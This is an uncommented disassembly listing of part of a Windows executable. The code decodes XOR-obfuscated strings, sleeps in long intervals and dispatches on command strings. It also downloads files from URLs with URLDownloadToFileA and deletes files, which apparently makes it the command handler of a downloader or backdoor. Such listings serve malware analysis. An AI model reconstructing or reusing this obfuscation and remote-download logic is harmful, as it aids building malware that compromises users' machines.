movzx r8d, byte [rdx + rax]
sub r9d, r8d
jne 0x140030c56
inc rdx
test r8d, r8d
jne 0x140030c40
test r9d, r9d
jne 0x140030c6a
xor edx, edx
lea rcx, [0x140036970]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov ecx, 0x1b7740
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x66c
mov eax, dword [rdx + rcx]
mov ebx, 0x47c
test al, 1
jne 0x140030cc5
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 5], 0x143
mov dword [rcx + rbx], 0x8f5818d3
mov byte [rcx + rbx + 4], 0xf6
lea rcx, [0x14003c5d0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 6], 0
je 0x140030cf2
xor byte [rbx], 0xf3
xor byte [rbx + 1], 0x29
xor byte [rbx + 2], 0x2b
xor byte [rbx + 3], 0xfb
xor byte [rbx + 4], 0xf1
xor byte [rbx + 5], 0x43
mov byte [rbx + 6], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x48c
mov eax, dword [rdx + rcx]
mov r15d, 0x2f4
test al, 1
jne 0x140030d30
or eax, 1
mov dword [rdx + rcx], eax
mov word [r15 + rcx + 1], 0x129
mov byte [r15 + rcx], 0xc9
lea rcx, [0x14003c5f0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov r12, qword [rax]
add r12, r15
cmp byte [r12 + 2], 0
je 0x140030d58
xor byte [r12], 0xf3
xor byte [r12 + 1], 0x29
mov byte [r12 + 2], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x39c
mov eax, dword [rdx + rcx]
mov r15d, 0x5d4
test al, 1
jne 0x140030d96
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + r15 + 1], 0x129
mov byte [rcx + r15], 0xc9
lea rcx, [0x14003c610]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov r13, qword [rax]
add r13, r15
cmp byte [r13 + 2], 0
je 0x140030dbb
xor byte [r13], 0xf3
xor byte [r13 + 1], 0x29
mov byte [r13 + 2], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x1b0
mov eax, dword [rdx + rcx]
mov r15d, 0x308
test al, 1
jne 0x140030df9
or eax, 1
mov dword [rdx + rcx], eax
mov word [r15 + rcx + 1], 0x129
mov byte [r15 + rcx], 0xc9
lea rcx, [0x14003c630]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
add r15, qword [rax]
cmp byte [r15 + 2], 0
je 0x140030e1a
xor byte [r15], 0xf3
xor byte [r15 + 1], 0x29
mov byte [r15 + 2], 0
movzx edx, word [rbp + 0x298]
mov rcx, rdi
call fcn.140002380
mov rcx, rax
mov rdx, r15
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29a]
call fcn.140002380
mov rcx, rax
mov rdx, r13
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29c]
call fcn.140002380
mov rcx, rax
mov rdx, r12
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29e]
call fcn.140002380
mov rcx, rax
mov rdx, rbx
call fcn.140004760
mov rcx, rax
call fcn.140004a10
mov ecx, 0x1b7740
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x264
mov eax, dword [rdx + rcx]
mov ebx, 0x344
test al, 1
jne 0x140030ee5
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 5], 0x1b3
mov dword [rcx + rbx], 0xefe35711
mov byte [rcx + rbx + 4], 0xde
lea rcx, [0x14003c550]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 6], 0
je 0x140030f12
xor byte [rbx], 0x31
xor byte [rbx + 1], 0x65
xor byte [rbx + 2], 0x8d
xor byte [rbx + 3], 0x8b
xor byte [rbx + 4], 0xd9
xor byte [rbx + 5], 0xb3
mov byte [rbx + 6], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x644
mov eax, dword [rdx + rcx]
mov r15d, 0x618
test al, 1
jne 0x140030f50
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + r15 + 1], 0x165
mov byte [rcx + r15], 0xb
lea rcx, [0x14003c570]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov r12, qword [rax]
add r12, r15
cmp byte [r12 + 2], 0
je 0x140030f78
xor byte [r12], 0x31
xor byte [r12 + 1], 0x65
mov byte [r12 + 2], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x210
mov eax, dword [rdx + rcx]
mov r15d, 0x300
test al, 1
jne 0x140030fb6
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + r15 + 1], 0x165
mov byte [rcx + r15], 0xb
lea rcx, [0x14003c590]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov r13, qword [rax]
add r13, r15
cmp byte [r13 + 2], 0
je 0x140030fdb
xor byte [r13], 0x31
xor byte [r13 + 1], 0x65
mov byte [r13 + 2], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x204
mov eax, dword [rdx + rcx]
mov r15d, 0x13c
test al, 1
jne 0x140031019
or eax, 1
mov dword [rdx + rcx], eax
mov word [r15 + rcx + 1], 0x165
mov byte [r15 + rcx], 0xb
lea rcx, [0x14003c5b0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
add r15, qword [rax]
cmp byte [r15 + 2], 0
je 0x14003103a
xor byte [r15], 0x31
xor byte [r15 + 1], 0x65
mov byte [r15 + 2], 0
movzx edx, word [rbp + 0x298]
mov rcx, rdi
call fcn.140002380
mov rcx, rax
mov rdx, r15
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29a]
call fcn.140002380
mov rcx, rax
mov rdx, r13
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29c]
call fcn.140002380
mov rcx, rax
mov rdx, r12
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29e]
call fcn.140002380
mov rcx, rax
mov rdx, rbx
call fcn.140004760
mov rcx, rax
call fcn.140004a10
call fcn.1400358a0
mov ecx, 0x1b7740
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x554
mov eax, dword [rdx + rcx]
mov ebx, 0x16c
test al, 1
jne 0x14003110a
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 5], 0x123
mov dword [rcx + rbx], 0x9ad50eb
mov byte [rcx + rbx + 4], 0x72
lea rcx, [0x14003c4d0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 6], 0
je 0x140031137
xor byte [rbx], 0xcb
xor byte [rbx + 1], 0x63
xor byte [rbx + 2], 0xdf
xor byte [rbx + 3], 0x6d
xor byte [rbx + 4], 0x75
xor byte [rbx + 5], 0x23
mov byte [rbx + 6], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x6f8
mov eax, dword [rdx + rcx]
mov r15d, 0x5d8
test al, 1
jne 0x140031175
or eax, 1
mov dword [rdx + rcx], eax
mov word [r15 + rcx + 1], 0x163
mov byte [r15 + rcx], 0xf1
lea rcx, [0x14003c4f0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov r12, qword [rax]
add r12, r15
cmp byte [r12 + 2], 0
je 0x14003119d
xor byte [r12], 0xcb
xor byte [r12 + 1], 0x63
mov byte [r12 + 2], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x754
mov eax, dword [rdx + rcx]
mov r15d, 0x834
test al, 1
jne 0x1400311db
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + r15 + 1], 0x163
mov byte [rcx + r15], 0xf1
lea rcx, [0x14003c510]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov r13, qword [rax]
add r13, r15
cmp byte [r13 + 2], 0
je 0x140031200
xor byte [r13], 0xcb
xor byte [r13 + 1], 0x63
mov byte [r13 + 2], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x214
mov eax, dword [rdx + rcx]
mov r15d, 0x340
test al, 1
jne 0x14003123e
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + r15 + 1], 0x163
mov byte [rcx + r15], 0xf1
lea rcx, [0x14003c530]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
add r15, qword [rax]
cmp byte [r15 + 2], 0
je 0x14003125f
xor byte [r15], 0xcb
xor byte [r15 + 1], 0x63
mov byte [r15 + 2], 0
movzx edx, word [rbp + 0x298]
mov rcx, rdi
call fcn.140002380
mov rcx, rax
mov rdx, r15
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29a]
call fcn.140002380
mov rcx, rax
mov rdx, r13
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29c]
call fcn.140002380
mov rcx, rax
mov rdx, r12
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29e]
call fcn.140002380
mov rcx, rax
mov rdx, rbx
call fcn.140004760
mov rcx, rax
call fcn.140004a10
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x30]
call fcn.1400027b0
mov rbx, rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp - 0x10]
call fcn.1400027b0
nop
mov rdx, rbx
mov rcx, rax
call fcn.140034b40
lea rcx, [rbp + 0x380]
cmp qword [rbp + 0x398], 0xf
cmova rcx, qword [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x50]
call fcn.1400027b0
mov rcx, rax
call fcn.140035c60
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x2a0]
cmp qword [rbp + 0x2b8], 0xf
cmova rcx, qword [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x1b7740
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x284
mov eax, dword [rdx + rcx]
mov ebx, 0x1a0
test al, 1
jne 0x1400313d5
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 5], 0x1b1
mov dword [rcx + rbx], 0x7503cb81
mov byte [rcx + rbx + 4], 0x68
lea rcx, [0x14003c450]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 6], 0
je 0x140031401
xor byte [rbx], 0xa1
not byte [rbx + 1]
xor byte [rbx + 2], 0x77
xor byte [rbx + 3], 0x1d
xor byte [rbx + 4], 0x6f
xor byte [rbx + 5], 0xb1
mov byte [rbx + 6], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x494
mov eax, dword [rdx + rcx]
mov r15d, 0x450
test al, 1
jne 0x14003143f
or eax, 1
mov dword [rdx + rcx], eax
mov word [r15 + rcx + 1], 0x1ff
mov byte [r15 + rcx], 0x9b
lea rcx, [0x14003c470]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov r12, qword [rax]
add r12, r15
cmp byte [r12 + 2], 0
je 0x140031466
xor byte [r12], 0xa1
not byte [r12 + 1]
mov byte [r12 + 2], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x4c4
mov eax, dword [rdx + rcx]
mov r15d, 0x5b4
test al, 1
jne 0x1400314a4
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + r15 + 1], 0x1ff
mov byte [rcx + r15], 0x9b
lea rcx, [0x14003c490]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov r13, qword [rax]
add r13, r15
cmp byte [r13 + 2], 0
je 0x1400314c8
xor byte [r13], 0xa1
not byte [r13 + 1]
mov byte [r13 + 2], 0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x4d8
mov eax, dword [rdx + rcx]
mov r15d, 0x674
test al, 1
jne 0x140031506
or eax, 1
mov dword [rdx + rcx], eax
mov word [r15 + rcx + 1], 0x1ff
mov byte [r15 + rcx], 0x9b
lea rcx, [0x14003c4b0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
add r15, qword [rax]
cmp byte [r15 + 2], 0
je 0x140031526
xor byte [r15], 0xa1
not byte [r15 + 1]
mov byte [r15 + 2], 0
movzx edx, word [rbp + 0x298]
mov rcx, rdi
call fcn.140002380
mov rcx, rax
mov rdx, r15
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29a]
call fcn.140002380
mov rcx, rax
mov rdx, r13
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29c]
call fcn.140002380
mov rcx, rax
mov rdx, r12
call fcn.140004760
mov rcx, rax
movzx edx, word [rbp + 0x29e]
call fcn.140002380
mov rcx, rax
mov rdx, rbx
call fcn.140004760
mov rcx, rax
call fcn.140004a10
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x738
mov eax, dword [rdx + rcx]
mov ebx, 0x5ec
test al, 1
jne 0x1400315d1
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 1], 0x167
mov byte [rcx + rbx], 0x12
lea rcx, [0x14003c3e0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 2], 0
je 0x1400315f1
xor eax, eax
mov rcx, qword [rbp + 0x11d0]
xor rcx, rsp
call fcn.1400093e0
mov rbx, qword [rsp + 0x1330]
add rsp, 0x12e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp dword [rsp + 0x40], 3
jle 0x1400331ae
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x1d0
mov eax, dword [rdx + rcx]
mov ebx, 0x26c
test al, 1
jne 0x140032c90
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx], 0x14553fa
lea rcx, [0x14003bff0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 3], 0
je 0x140032cb4
xor byte [rdx], 0xd7
xor byte [rdx + 1], 0x37
xor byte [rdx + 2], 0x45
mov byte [rdx + 3], 0
mov rax, qword [r15 + 8]
sub rdx, rax
nop dword [rax + rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140032cd4
inc rax
test ecx, ecx
jne 0x140032cc0
test r8d, r8d
jne 0x1400331ae
lea rax, [rbp + 0x270]
mov qword [rsp + 0x50], rax
mov rdx, qword [r15 + 0x18]
lea rcx, [rbp + 0x270]
call fcn.140002770
mov rsi, rax
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x170]
call fcn.140002770
mov rdi, rax
mov r8, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x140032d1c
mov r8, qword [rsi]
mov rdx, rdi
cmp qword [rax + 0x18], 0xf
jbe 0x140032d29
mov rdx, qword [rax]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
mov rcx, rdi
call fcn.1400025e0
mov rcx, rsi
call fcn.1400025e0
cmp ebx, 0x8007000e
jne 0x140032e56
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov ecx, 0x6bc
mov eax, dword [rcx + rdx]
mov edi, 0x2a8
test al, 1
jne 0x140032daa
or eax, 1
mov dword [rcx + rdx], eax
mov word [rdi + rdx + 0xd], 0x1d9
mov dword [rdi + rdx], 0xbe6c5ad2
mov dword [rdi + rdx + 4], 0xf03596d1
mov dword [rdi + rdx + 8], 0xb96c48d2
mov byte [rdi + rdx + 0xc], 0xdc
lea rcx, [0x14003bfd0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rdi
cmp byte [rdx + 0xe], 0
je 0x140032dfa
xor byte [rdx], 0x97
xor byte [rdx + 1], 5
xor byte [rdx + 2], 0x23
xor byte [rdx + 3], 0xeb
xor byte [rdx + 4], 0x85
xor byte [rdx + 5], 0xd9
xor byte [rdx + 6], 0x73
xor byte [rdx + 7], 0xbd
xor byte [rdx + 8], 0x97
xor byte [rdx + 9], 5
xor byte [rdx + 0xa], 0x23
xor byte [rdx + 0xb], 0xeb
xor byte [rdx + 0xc], 0x85
xor byte [rdx + 0xd], 0xd9
mov byte [rdx + 0xe], 0
lea rdi, [0x140425920]
mov rcx, rdi
call fcn.140004760
mov rcx, rax
call fcn.140004a10
call fcn.14002c2d0
mov r8, rax
cmp byte [rax + 0x59], 0
je 0x140033194
movabs r9, 0x6f8541e32fe9fd2b
nop dword [rax]
movzx ecx, r14b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r14 + rax], dl
inc r14
cmp r14, 0x59
jb 0x140032e30
mov byte [rax + 0x59], 0
jmp 0x140033194
cmp ebx, 0x800c000d
jne 0x140032f98
movdqa xmm0, xmmword [0x140048600]
mov dword [rbp + 0x338], 0xeb94a2e5
mov dword [rbp + 0x33c], 0xbd282520
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x484
mov eax, dword [rdx + rcx]
mov edi, 0x458
test al, 1
jne 0x140032ef4
or eax, 1
mov dword [rdx + rcx], eax
lea rax, [rcx + rdi]
mov byte [rax + 0x18], 1
lea rcx, [rax + 0x17]
lea rdx, [rbp + 0x33f]
cmp rax, rdx
ja 0x140032ed7
lea rdx, [rbp + 0x328]
cmp rcx, rdx
jb 0x140032ed7
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x338]
movsd qword [rax + 0x10], xmm0
jmp 0x140032ee7
movups xmmword [rax], xmm0
movsd xmm0, qword [rbp + 0x338]
movsd qword [rax + 0x10], xmm0
lea rcx, [0x14003bf70]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rdi
cmp byte [rdx + 0x18], 0
je 0x140032f6c
xor byte [rdx], 0xa3
xor byte [rdx + 1], 0xe3
xor byte [rdx + 2], 0xdd
xor byte [rdx + 3], 0xa7
xor byte [rdx + 4], 0x75
xor byte [rdx + 5], 0x77
xor byte [rdx + 6], 0x6d
xor byte [rdx + 7], 0xbd
xor byte [rdx + 8], 0xa3
xor byte [rdx + 9], 0xe3
xor byte [rdx + 0xa], 0xdd
xor byte [rdx + 0xb], 0xa7
xor byte [rdx + 0xc], 0x75
xor byte [rdx + 0xd], 0x77
xor byte [rdx + 0xe], 0x6d
xor byte [rdx + 0xf], 0xbd
xor byte [rdx + 0x10], 0xa3
xor byte [rdx + 0x11], 0xe3
xor byte [rdx + 0x12], 0xdd
xor byte [rdx + 0x13], 0xa7
xor byte [rdx + 0x14], 0x75
xor byte [rdx + 0x15], 0x77
xor byte [rdx + 0x16], 0x6d
xor byte [rdx + 0x17], 0xbd
mov byte [rdx + 0x18], 0
lea rdi, [0x140425920]
mov rcx, rdi
call fcn.140004760
mov rcx, rax
call fcn.140004a10
call fcn.14002c120
mov r8, rax
mov rcx, rax
call fcn.140003710
jmp 0x140033194
test ebx, ebx
jne 0x140033130
call fcn.14002c0c0
mov rcx, rax
call fcn.1400020d0
mov rdx, rax
lea rdi, [0x140425920]
mov rcx, rdi
call fcn.140004760
mov rcx, rax
call fcn.140004a10
movdqa xmm0, xmmword [0x1400484f0]
movdqa xmm1, xmmword [0x140048500]
mov word [rbp + 0x798], 0x7fea
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x648
mov eax, dword [rdx + rcx]
mov esi, 0x2d0
test al, 1
jne 0x140033061
or eax, 1
mov dword [rdx + rcx], eax
add rcx, rsi
mov byte [rcx + 0x23], 1
lea rax, [rcx + 0x22]
lea rdx, [rbp + 0x79a]
cmp rcx, rdx
ja 0x14003303e
lea rdx, [rbp + 0x778]
cmp rax, rdx
jb 0x14003303e
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movzx eax, word [rbp + 0x798]
mov word [rcx + 0x20], ax
mov byte [rcx + 0x22], 0xad
jmp 0x140033054
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movzx eax, word [rbp + 0x798]
mov word [rcx + 0x20], ax
mov byte [rcx + 0x22], 0xad
lea rcx, [0x14003bef0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov r8, qword [rax]
add r8, rsi
cmp byte [r8 + 0x23], 0
je 0x140033194
xor byte [r8], 0x93
xor byte [r8 + 1], 0x51
xor byte [r8 + 2], 0xad
xor byte [r8 + 3], 0x11
xor byte [r8 + 4], 0xbd
xor byte [r8 + 5], 0xa9
xor byte [r8 + 6], 0x33
xor byte [r8 + 7], 0x53
xor byte [r8 + 8], 0x93
xor byte [r8 + 9], 0x51
xor byte [r8 + 0xa], 0xad
xor byte [r8 + 0xb], 0x11
xor byte [r8 + 0xc], 0xbd
xor byte [r8 + 0xd], 0xa9
xor byte [r8 + 0xe], 0x33
xor byte [r8 + 0xf], 0x53
xor byte [r8 + 0x10], 0x93
xor byte [r8 + 0x11], 0x51
xor byte [r8 + 0x12], 0xad
xor byte [r8 + 0x13], 0x11
xor byte [r8 + 0x14], 0xbd
xor byte [r8 + 0x15], 0xa9
xor byte [r8 + 0x16], 0x33
xor byte [r8 + 0x17], 0x53
xor byte [r8 + 0x18], 0x93
xor byte [r8 + 0x19], 0x51
xor byte [r8 + 0x1a], 0xad
xor byte [r8 + 0x1b], 0x11
xor byte [r8 + 0x1c], 0xbd
xor byte [r8 + 0x1d], 0xa9
xor byte [r8 + 0x1e], 0x33
xor byte [r8 + 0x1f], 0x53
xor byte [r8 + 0x20], 0x93
xor byte [r8 + 0x21], 0x51
xor byte [r8 + 0x22], 0xad
mov byte [r8 + 0x23], 0
jmp 0x140033194
mov edx, ebx
lea rdi, [0x140425920]
mov rcx, rdi
call fcn.140002170
mov rcx, rax
call fcn.140004a10
call fcn.14002bf80
mov r8, rax
cmp byte [rax + 0xf], 0
je 0x140033194
xor byte [rax], 0xd
xor byte [rax + 1], 0x6b
xor byte [rax + 2], 0x7b
xor byte [rax + 3], 0x51
not byte [rax + 4]
xor byte [rax + 5], 0x7f
xor byte [rax + 6], 0x41
xor byte [rax + 7], 0x45
xor byte [rax + 8], 0xd
xor byte [rax + 9], 0x6b
xor byte [rax + 0xa], 0x7b
xor byte [rax + 0xb], 0x51
not byte [rax + 0xc]
xor byte [rax + 0xd], 0x7f
xor byte [rax + 0xe], 0x41
mov byte [rax + 0xf], 0
mov rdx, r8
mov rcx, rdi
call fcn.140004760
mov rcx, rax
call fcn.140004a10
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 2
jle 0x14003328d
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x764
mov eax, dword [rdx + rcx]
mov ebx, 0x134
test al, 1
jne 0x1400331f0
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rbx + rcx], 0x14527e0
lea rcx, [0x14003bea0]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 3], 0
je 0x140033214
xor byte [rdx], 0xcd
xor byte [rdx + 1], 0x57
xor byte [rdx + 2], 0x45
mov byte [rdx + 3], 0
mov rax, qword [r15 + 8]
sub rdx, rax
nop dword [rax + rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140033234
inc rax
test ecx, ecx
jne 0x140033220
test r8d, r8d
jne 0x14003328d
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x190]
call fcn.140002770
mov rcx, rax
call fcn.140035c60
mov ebx, eax
mov r8d, pe_nt_image_headers64
lea rdx, [rbp + 0x10d0]
mov ecx, eax
call qword [sym.imp.WINMM.dll_mciGetErrorStringA]
mov edx, ebx
lea rdi, [0x140425920]
mov rcx, rdi
call fcn.140002170
mov rcx, rax
call fcn.140004a10
lea rdx, [rbp + 0x10d0]
jmp 0x140033197
cmp dword [rsp + 0x40], 1
jle 0x14003337f
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x2c0
mov eax, dword [rdx + rcx]
mov ebx, 0x4c8
test al, 1
jne 0x1400332da
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 3], 0x1dd
mov word [rbx + rcx], 0x13ea
mov byte [rbx + rcx + 2], 0xe9
lea rcx, [0x14003be80]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x140033302
xor byte [rdx], 0xc7
xor byte [rdx + 1], 0x63
xor byte [rdx + 2], 0x8b
xor byte [rdx + 3], 0xdd
mov byte [rdx + 4], 0
mov rax, qword [r15 + 8]
sub rdx, rax
nop dword [rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140033324
inc rax
test ecx, ecx
jne 0x140033310
test r8d, r8d
jne 0x14003337f
call fcn.1400358a0
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xa10]
call fcn.140036840
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140033362
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140006480
nop
lea rcx, [rbp + 0xa10]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 2
jle 0x140033473
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x20c
mov eax, dword [rdx + rcx]
mov ebx, 0x758
test al, 1
jne 0x1400333cc
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 3], 0x1e1
mov word [rbx + rcx], 0x47f4
mov byte [rbx + rcx + 2], 0x78
lea rcx, [0x14003be60]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x1400333f4
xor byte [rdx], 0xd9
xor byte [rdx + 1], 0x23
xor byte [rdx + 2], 0x1b
xor byte [rdx + 3], 0xe1
mov byte [rdx + 4], 0
mov rax, qword [r15 + 8]
sub rdx, rax
nop dword [rax + rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140033414
inc rax
test ecx, ecx
jne 0x140033400
test r8d, r8d
jne 0x140033473
mov rcx, qword [r15 + 0x10]
call fcn.1400355d0
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xad0]
call fcn.140036840
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140033456
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140006480
nop
lea rcx, [rbp + 0xad0]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 1
jle 0x14003368f
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x54c
mov eax, dword [rdx + rcx]
mov ebx, 0x1b4
test al, 1
jne 0x1400334c0
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx + 3], 0x1bf
mov word [rcx + rbx], 0x44e
mov byte [rcx + rbx + 2], 0xc4
lea rcx, [0x14003be40]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 4], 0
je 0x1400334e8
xor byte [rdx], 0x63
xor byte [rdx + 1], 0x61
xor byte [rdx + 2], 0xa7
xor byte [rdx + 3], 0xbf
mov byte [rdx + 4], 0
mov rax, qword [r15 + 8]
sub rdx, rax
nop
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140033504
inc rax
test ecx, ecx
jne 0x1400334f0
test r8d, r8d
jne 0x14003355f
call fcn.140035540
mov ebx, eax
mov edx, eax
lea rcx, [0x140425920]
call fcn.140002170
mov rcx, rax
call fcn.140004a10
mov edx, ebx
lea rcx, [rbp + 0xa50]
call fcn.140036840
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140033542
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140006480
nop
lea rcx, [rbp + 0xa50]
call fcn.1400025e0
mov eax, ebx
jmp 0x140032c24
cmp dword [rsp + 0x40], 1
jle 0x14003368f
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x144
mov eax, dword [rdx + rcx]
mov ebx, 0x5d0
test al, 1
jne 0x1400335a1
or eax, 1
mov dword [rdx + rcx], eax
mov dword [rcx + rbx], 0x167cafa
lea rcx, [0x14003be20]
call fcn.140009520
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
